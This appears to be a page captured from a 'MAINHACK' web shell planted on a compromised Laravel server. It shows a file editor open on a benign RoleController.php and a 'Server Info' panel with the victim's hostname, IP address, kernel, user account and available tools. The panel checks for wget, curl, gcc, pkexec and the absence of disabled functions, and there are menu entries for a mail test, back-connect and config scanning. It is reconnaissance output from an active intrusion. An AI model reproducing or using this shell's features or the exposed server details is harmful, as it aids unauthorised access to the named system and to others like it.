[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RoleController.php
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\App; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\DB; use Spatie\Permission\Models\Permission; use Spatie\Permission\Models\Role; use function Ramsey\Collection\Map\replace; class RoleController extends Controller { public function index(Request $request ) { $storeId = $request->get('store_id'); // $collection = Role::where('store_id', $storeId)->latest()->get(); $collection = Role::latest()->get(); return view('role.index',compact('collection')); } public function create() { if (Cache::has('permissions')) { $permissions = Cache::get('permissions'); } else { $permissions = Permission::select('id', 'name', 'label', 'module') ->get() ->groupBy('module') ->toArray(); Cache::put('permissions', $permissions, now()->addHour()); } return view('role.create', compact('permissions')); } public function store( Request $request ) { $this->validation($request); try { DB::beginTransaction(); $roleName = $request->input('name'); $data['display_name'] = $roleName; $data['name'] = strtolower(str_replace(' ', '_', $roleName)); $permissions = $request->input('permissions'); $role = Role::create($data); $role->syncPermissions($permissions); DB::commit(); return redirect()->route('role.index')->with('success','Created successfully'); } catch (\Exception $e) { DB::rollBack(); return redirect()->back()->with('error',$e->getMessage()); } } public function edit(Role $role) { $role->load('permissions'); $permitteds = $role->permissions->groupBy('module')->toArray(); $permissions = Permission::select('id', 'name', 'label', 'module') ->get() ->groupBy('module') ->toArray(); return view('role.edit', compact('role','permissions','permitteds')); } public function update( Request $request, Role $role ) { $this->validation($request, $role->id); try { DB::beginTransaction(); $roleName = $request->input('name'); $data['display_name'] = $roleName; $data['name'] = strtolower(str_replace(' ', '_', $roleName)); $permissions = $request->input('permissions'); $role->update($data); $role->syncPermissions($permissions); DB::commit(); return redirect()->route('role.index')->with('success','Updated successfully'); } catch (\Exception $e) { DB::rollBack(); return redirect()->back()->with('error',$e->getMessage()); } } public function delete(Role $role) { try { $role->delete(); successAlert('Deleted Successfully'); return redirect()->route('role.index'); } catch (\Exception $e) { errorAlert($e->getMessage()); return redirect()->back(); } } private function validation($request, $id = null) { return $request->validate([ 'name' => 'required|unique:roles,name,'.$id, ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002